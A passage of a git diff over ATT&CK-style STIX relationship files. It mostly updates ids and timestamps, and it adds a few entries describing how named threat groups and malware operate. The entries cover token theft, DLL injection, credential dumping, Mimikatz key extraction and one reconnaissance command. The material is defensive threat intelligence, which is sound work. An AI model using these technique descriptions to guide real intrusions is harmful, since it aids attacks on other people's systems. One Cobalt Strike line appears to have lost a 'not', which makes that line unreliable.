             "description": "Lazarus Group keylogger KiloAlfa obtains user tokens from interactive sessions to execute itself with API call <code>CreateProcessAsUserA</code> under that user's context.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--1a4c94a1-6362-42b3-b1d9-41ae3fbf5ea5.json b/enterprise-attack/relationship/relationship--1a4c94a1-6362-42b3-b1d9-41ae3fbf5ea5.json
index 16f9a5f22f..edec9f8174 100644
--- a/enterprise-attack/relationship/relationship--1a4c94a1-6362-42b3-b1d9-41ae3fbf5ea5.json
+++ b/enterprise-attack/relationship/relationship--1a4c94a1-6362-42b3-b1d9-41ae3fbf5ea5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7edbf37b-125d-4e1e-838e-285308eedbdc",
+    "id": "bundle--df01f94f-8d7c-4d99-aced-fa0d3b90e8ad",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1a4c94a1-6362-42b3-b1d9-41ae3fbf5ea5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Misdat is capable of running commands to obtain a list of files and directories, as well as enumerating logical drives.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
diff --git a/enterprise-attack/relationship/relationship--1a7d1db3-9383-4171-8938-382e9b0375c6.json b/enterprise-attack/relationship/relationship--1a7d1db3-9383-4171-8938-382e9b0375c6.json
index be2a994584..eeb2387f60 100644
--- a/enterprise-attack/relationship/relationship--1a7d1db3-9383-4171-8938-382e9b0375c6.json
+++ b/enterprise-attack/relationship/relationship--1a7d1db3-9383-4171-8938-382e9b0375c6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f750dc8c-c573-4101-af73-3a6c2474152a",
+    "id": "bundle--f4a90342-e2f8-4c18-a947-24b8c9c6f2fb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1a7d1db3-9383-4171-8938-382e9b0375c6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy injects its DLL component into svchost.exe.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
diff --git a/enterprise-attack/relationship/relationship--1aa10371-6473-416a-8b8b-17c36f700233.json b/enterprise-attack/relationship/relationship--1aa10371-6473-416a-8b8b-17c36f700233.json
index c657696f40..d58a45f734 100644
--- a/enterprise-attack/relationship/relationship--1aa10371-6473-416a-8b8b-17c36f700233.json
+++ b/enterprise-attack/relationship/relationship--1aa10371-6473-416a-8b8b-17c36f700233.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bbca15d7-b61a-4517-82e1-f6d7c82724e0",
+    "id": "bundle--010e7e1b-94ea-4729-b740-20a93486e09a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1aa10371-6473-416a-8b8b-17c36f700233",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT has registered itself as a scheduled task to run each time the current user logs in.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
diff --git a/enterprise-attack/relationship/relationship--1ab3f63b-bd80-4e4c-8f62-79f26b9724ab.json b/enterprise-attack/relationship/relationship--1ab3f63b-bd80-4e4c-8f62-79f26b9724ab.json
index 83d1547cbd..64086f09a1 100644
--- a/enterprise-attack/relationship/relationship--1ab3f63b-bd80-4e4c-8f62-79f26b9724ab.json
+++ b/enterprise-attack/relationship/relationship--1ab3f63b-bd80-4e4c-8f62-79f26b9724ab.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--570b2c2b-222b-4f14-91ab-d90af1e7536e",
+    "id": "bundle--c6dfa67c-6bc1-4d4c-ba81-7c7aa1c0ddda",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1ab3f63b-bd80-4e4c-8f62-79f26b9724ab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "tool--b35068ec-107a-4266-bda8-eb7036267aea",
diff --git a/enterprise-attack/relationship/relationship--1ac5bace-cdc2-4a1b-abad-d30ca0ed7f45.json b/enterprise-attack/relationship/relationship--1ac5bace-cdc2-4a1b-abad-d30ca0ed7f45.json
index dc9fd8ede3..d1b1364ba9 100644
--- a/enterprise-attack/relationship/relationship--1ac5bace-cdc2-4a1b-abad-d30ca0ed7f45.json
+++ b/enterprise-attack/relationship/relationship--1ac5bace-cdc2-4a1b-abad-d30ca0ed7f45.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7b3f7cce-c8cb-425e-8b98-e43f606a0159",
+    "id": "bundle--9de216c5-6a39-4e67-833f-36337741c7d3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1ac5bace-cdc2-4a1b-abad-d30ca0ed7f45",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT18 actors leverage legitimate credentials to log into external remote services.",
             "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
diff --git a/enterprise-attack/relationship/relationship--1ace08c6-0f1a-487d-92b2-6c61c2299270.json b/enterprise-attack/relationship/relationship--1ace08c6-0f1a-487d-92b2-6c61c2299270.json
new file mode 100644
index 0000000000..a30f38a595
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--1ace08c6-0f1a-487d-92b2-6c61c2299270.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--dcc88cc2-8459-42d7-a504-8b1540b2de3e",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--1ace08c6-0f1a-487d-92b2-6c61c2299270",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 uses SDelete to clean up the environment and attempt to prevent detection.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--1ae1ce05-3db2-4a97-8e58-0ed3d65d9d22.json b/enterprise-attack/relationship/relationship--1ae1ce05-3db2-4a97-8e58-0ed3d65d9d22.json
index 7cc17d8a0c..160ec7df60 100644
--- a/enterprise-attack/relationship/relationship--1ae1ce05-3db2-4a97-8e58-0ed3d65d9d22.json
+++ b/enterprise-attack/relationship/relationship--1ae1ce05-3db2-4a97-8e58-0ed3d65d9d22.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6654c08a-8883-4209-b471-4f1b470c1635",
+    "id": "bundle--6de64d30-fd89-4fe8-9720-b24aae0e7025",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1ae1ce05-3db2-4a97-8e58-0ed3d65d9d22",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.042Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Carbanak may use netsh to add local firewall rule exceptions.",
             "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
diff --git a/enterprise-attack/relationship/relationship--1b141c9e-a679-40c7-ad7b-ac40ac586471.json b/enterprise-attack/relationship/relationship--1b141c9e-a679-40c7-ad7b-ac40ac586471.json
index 554e4106a6..597e65ed8a 100644
--- a/enterprise-attack/relationship/relationship--1b141c9e-a679-40c7-ad7b-ac40ac586471.json
+++ b/enterprise-attack/relationship/relationship--1b141c9e-a679-40c7-ad7b-ac40ac586471.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--20145df4-2d69-4a11-93cd-f22302c3f74a",
+    "id": "bundle--d78a1a7f-7e9f-45b6-9ae5-821e622240ef",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1b141c9e-a679-40c7-ad7b-ac40ac586471",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.052Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "admin@338 actors used the following command after exploiting a machine with LOWBALL malware to acquire information about local networks: <code>ipconfig /all >> %temp%\\download</code>",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
diff --git a/enterprise-attack/relationship/relationship--1b143de7-af2d-4991-9e2e-aa85a8d7d330.json b/enterprise-attack/relationship/relationship--1b143de7-af2d-4991-9e2e-aa85a8d7d330.json
index 69481531ba..e7ba5d1c95 100644
--- a/enterprise-attack/relationship/relationship--1b143de7-af2d-4991-9e2e-aa85a8d7d330.json
+++ b/enterprise-attack/relationship/relationship--1b143de7-af2d-4991-9e2e-aa85a8d7d330.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dcd25c7a-03e1-4e58-85d9-8956adf95e04",
+    "id": "bundle--482c5fee-d46d-465e-8f4b-211f269a7a69",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1b143de7-af2d-4991-9e2e-aa85a8d7d330",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.039Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 encrypted a .dll payload using RTL and a custom encryption algorithm.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--1b27cec5-241a-4c2e-a3db-e9cea241496c.json b/enterprise-attack/relationship/relationship--1b27cec5-241a-4c2e-a3db-e9cea241496c.json
index ba4dd084bb..8297fd7034 100644
--- a/enterprise-attack/relationship/relationship--1b27cec5-241a-4c2e-a3db-e9cea241496c.json
+++ b/enterprise-attack/relationship/relationship--1b27cec5-241a-4c2e-a3db-e9cea241496c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ec8c2f06-33a9-4458-b7a3-e855d9d34cf9",
+    "id": "bundle--3ad85ce3-d9e9-4de8-be59-b2a4c8f94f03",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1b27cec5-241a-4c2e-a3db-e9cea241496c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTRAN is used for proxying connections to obfuscate command and control infrastructure.",
             "source_ref": "tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e",
diff --git a/enterprise-attack/relationship/relationship--1b3cc0cb-de43-405b-bfa5-f0bececabf8c.json b/enterprise-attack/relationship/relationship--1b3cc0cb-de43-405b-bfa5-f0bececabf8c.json
index 391d1f1d6f..431b452f0e 100644
--- a/enterprise-attack/relationship/relationship--1b3cc0cb-de43-405b-bfa5-f0bececabf8c.json
+++ b/enterprise-attack/relationship/relationship--1b3cc0cb-de43-405b-bfa5-f0bececabf8c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a74e2a81-c0a5-4b03-a833-5cb155e47503",
+    "id": "bundle--4e710e31-a53a-412c-aa49-3f51cbdcdfa6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1b3cc0cb-de43-405b-bfa5-f0bececabf8c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "GeminiDuke collects information from the victim, including installed drivers, programs previously executed by users, programs and services configured to automatically run at startup, files and folders present in any user's home folder, files and folders present in any user's My Documents, programs installed to the Program Files folder, and recently accessed files, folders, and programs.",
             "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
diff --git a/enterprise-attack/relationship/relationship--1b45f3b5-b7a4-4424-a8ff-1b1f1c1a55d9.json b/enterprise-attack/relationship/relationship--1b45f3b5-b7a4-4424-a8ff-1b1f1c1a55d9.json
index 21310a1f3c..7cdf95e457 100644
--- a/enterprise-attack/relationship/relationship--1b45f3b5-b7a4-4424-a8ff-1b1f1c1a55d9.json
+++ b/enterprise-attack/relationship/relationship--1b45f3b5-b7a4-4424-a8ff-1b1f1c1a55d9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e54fb6e2-1718-4756-ac89-fb5a4b4964d0",
+    "id": "bundle--9a14c89b-d693-4789-a6eb-649b033fb665",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1b45f3b5-b7a4-4424-a8ff-1b1f1c1a55d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.062Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has staged encrypted archives for exfiltration on Internet-facing servers that had previously been compromised with China Chopper.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--1b4cd403-8e3a-43da-bc25-a7e8d707794b.json b/enterprise-attack/relationship/relationship--1b4cd403-8e3a-43da-bc25-a7e8d707794b.json
index 4939bafc21..8d27ebf6b5 100644
--- a/enterprise-attack/relationship/relationship--1b4cd403-8e3a-43da-bc25-a7e8d707794b.json
+++ b/enterprise-attack/relationship/relationship--1b4cd403-8e3a-43da-bc25-a7e8d707794b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7fd537dc-3509-4364-bf3d-19d35c4feca7",
+    "id": "bundle--c1799307-2199-4520-a1c8-5a0c6f15a120",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1b4cd403-8e3a-43da-bc25-a7e8d707794b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.017Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--7ee0879d-ce4f-4f54-a96b-c532dfb98ffd",
             "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
diff --git a/enterprise-attack/relationship/relationship--1b4ee147-dc39-43d2-b468-fcd308e6cbae.json b/enterprise-attack/relationship/relationship--1b4ee147-dc39-43d2-b468-fcd308e6cbae.json
index 698100bbfc..4ab9ab66ae 100644
--- a/enterprise-attack/relationship/relationship--1b4ee147-dc39-43d2-b468-fcd308e6cbae.json
+++ b/enterprise-attack/relationship/relationship--1b4ee147-dc39-43d2-b468-fcd308e6cbae.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bd8ad7b5-4827-4ae6-a008-5616c08aa643",
+    "id": "bundle--88a890d8-b4ef-4347-acd2-539fd0af6610",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1b4ee147-dc39-43d2-b468-fcd308e6cbae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "StreamEx uses rundll32 to call an exported function.",
             "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
diff --git a/enterprise-attack/relationship/relationship--1b51b49a-1f3a-4b5d-aea3-989e9ccb72ad.json b/enterprise-attack/relationship/relationship--1b51b49a-1f3a-4b5d-aea3-989e9ccb72ad.json
index ba44f2068a..9be9a818c2 100644
--- a/enterprise-attack/relationship/relationship--1b51b49a-1f3a-4b5d-aea3-989e9ccb72ad.json
+++ b/enterprise-attack/relationship/relationship--1b51b49a-1f3a-4b5d-aea3-989e9ccb72ad.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a613e0b9-7b87-4144-be29-38117543a4bd",
+    "id": "bundle--1958760b-09e5-467b-b213-e1992b15c45e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1b51b49a-1f3a-4b5d-aea3-989e9ccb72ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can execute a payload on a remote host with PowerShell.  This technique does write any data to disk.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--1ba38510-0489-4305-944f-451e6869b30f.json b/enterprise-attack/relationship/relationship--1ba38510-0489-4305-944f-451e6869b30f.json
index 6079cc9b8a..b3f45486b2 100644
--- a/enterprise-attack/relationship/relationship--1ba38510-0489-4305-944f-451e6869b30f.json
+++ b/enterprise-attack/relationship/relationship--1ba38510-0489-4305-944f-451e6869b30f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--891d9906-4a03-4a18-8b11-4fae2be752c8",
+    "id": "bundle--efa51607-2aad-4cab-bb46-05a0955983c7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1ba38510-0489-4305-944f-451e6869b30f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS encrypts C2 data with a ROR by 3 and an XOR by 0x23.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
diff --git a/enterprise-attack/relationship/relationship--1bbb499c-81c8-4e94-8305-86b199e8298b.json b/enterprise-attack/relationship/relationship--1bbb499c-81c8-4e94-8305-86b199e8298b.json
new file mode 100644
index 0000000000..2f120431c5
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--1bbb499c-81c8-4e94-8305-86b199e8298b.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--22e55c53-2e9d-464e-b4e5-826d26387c0a",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--1bbb499c-81c8-4e94-8305-86b199e8298b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "side loads a malicious file, sspisrv.dll, in part of a spoofed lssas.exe service.",
+            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09",
+            "external_references": [
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                },
+                {
+                    "source_name": "Microsoft Wingbird Nov 2017",
+                    "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.",
+                    "url": "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--1c5b8ff2-400a-4e0f-a819-3cc8f1bc76b8.json b/enterprise-attack/relationship/relationship--1c5b8ff2-400a-4e0f-a819-3cc8f1bc76b8.json
new file mode 100644
index 0000000000..0be246668f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--1c5b8ff2-400a-4e0f-a819-3cc8f1bc76b8.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--e4d22d96-f237-4325-ad9a-9788fe3ae47f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--1c5b8ff2-400a-4e0f-a819-3cc8f1bc76b8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Mimikatz's <code>CRYPTO::Extract</code> module can extract keys by interacting with Windows cryptographic application programming interface (API) functions.",
+            "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
+            "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe",
+            "external_references": [
+                {
+                    "source_name": "Adsecurity Mimikatz Guide",
+                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
+                    "url": "https://adsecurity.org/?page%20id=1821"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--1c677f35-b73b-47bc-b162-1fd036a38def.json b/enterprise-attack/relationship/relationship--1c677f35-b73b-47bc-b162-1fd036a38def.json
index f4375f2414..cd65f02d26 100644
--- a/enterprise-attack/relationship/relationship--1c677f35-b73b-47bc-b162-1fd036a38def.json
+++ b/enterprise-attack/relationship/relationship--1c677f35-b73b-47bc-b162-1fd036a38def.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b5cf148d-9273-495f-b8e0-4c806cee0da6",
+    "id": "bundle--f3b2171d-31d8-4f85-87c8-45274d1a6b96",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1c677f35-b73b-47bc-b162-1fd036a38def",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke uses an alternate data stream (ADS) PNG file to hide and encrypt itself using Tiny Encryption Algorithm (TEA).",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
diff --git a/enterprise-attack/relationship/relationship--1c6f35f0-1169-4218-9881-7291e1765cd8.json b/enterprise-attack/relationship/relationship--1c6f35f0-1169-4218-9881-7291e1765cd8.json
index 96a40de104..bf6608f18b 100644
--- a/enterprise-attack/relationship/relationship--1c6f35f0-1169-4218-9881-7291e1765cd8.json
+++ b/enterprise-attack/relationship/relationship--1c6f35f0-1169-4218-9881-7291e1765cd8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8d1facb2-77f1-42ba-aba4-bd037de9e69f",
+    "id": "bundle--9724669a-cc7b-4aca-af93-b651be28cb67",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1c6f35f0-1169-4218-9881-7291e1765cd8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Variants of Emissary have used rundll32.exe in Registry values added to establish persistence.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
diff --git a/enterprise-attack/relationship/relationship--1c7b9a1b-e874-4881-884a-e3c3d1fd8aed.json b/enterprise-attack/relationship/relationship--1c7b9a1b-e874-4881-884a-e3c3d1fd8aed.json
index a1b9b44ffc..5e67af8307 100644
--- a/enterprise-attack/relationship/relationship--1c7b9a1b-e874-4881-884a-e3c3d1fd8aed.json
+++ b/enterprise-attack/relationship/relationship--1c7b9a1b-e874-4881-884a-e3c3d1fd8aed.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c235dcf2-653c-4f9b-baff-00589f971345",
+    "id": "bundle--2000c10d-1b7c-4ee2-b65c-a1ceec8a8a63",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1c7b9a1b-e874-4881-884a-e3c3d1fd8aed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cleaver has been known to dump credentials.",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
diff --git a/enterprise-attack/relationship/relationship--1c812537-dfaf-40da-a71b-a49c18870b77.json b/enterprise-attack/relationship/relationship--1c812537-dfaf-40da-a71b-a49c18870b77.json
index 591c756d54..f753997c5b 100644
--- a/enterprise-attack/relationship/relationship--1c812537-dfaf-40da-a71b-a49c18870b77.json
+++ b/enterprise-attack/relationship/relationship--1c812537-dfaf-40da-a71b-a49c18870b77.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6e019b5c-7c1f-463d-873d-f40abb2e9240",
+    "id": "bundle--c23d2f36-55ff-4b1f-b084-097349fe9f0a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1c812537-dfaf-40da-a71b-a49c18870b77",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.058Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
             "target_ref": "tool--c9703cd3-141c-43a0-a926-380082be5d04",
diff --git a/enterprise-attack/relationship/relationship--1ca68d88-a287-4c48-a4f8-68611eceb445.json b/enterprise-attack/relationship/relationship--1ca68d88-a287-4c48-a4f8-68611eceb445.json
index 5e42a93e0c..fbc28081f9 100644
--- a/enterprise-attack/relationship/relationship--1ca68d88-a287-4c48-a4f8-68611eceb445.json
+++ b/enterprise-attack/relationship/relationship--1ca68d88-a287-4c48-a4f8-68611eceb445.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--629efa77-6ee5-4fad-b0a2-bbde3fccf28b",
+    "id": "bundle--087f44eb-a906-448c-b13b-f4a66cd1617c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1ca68d88-a287-4c48-a4f8-68611eceb445",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
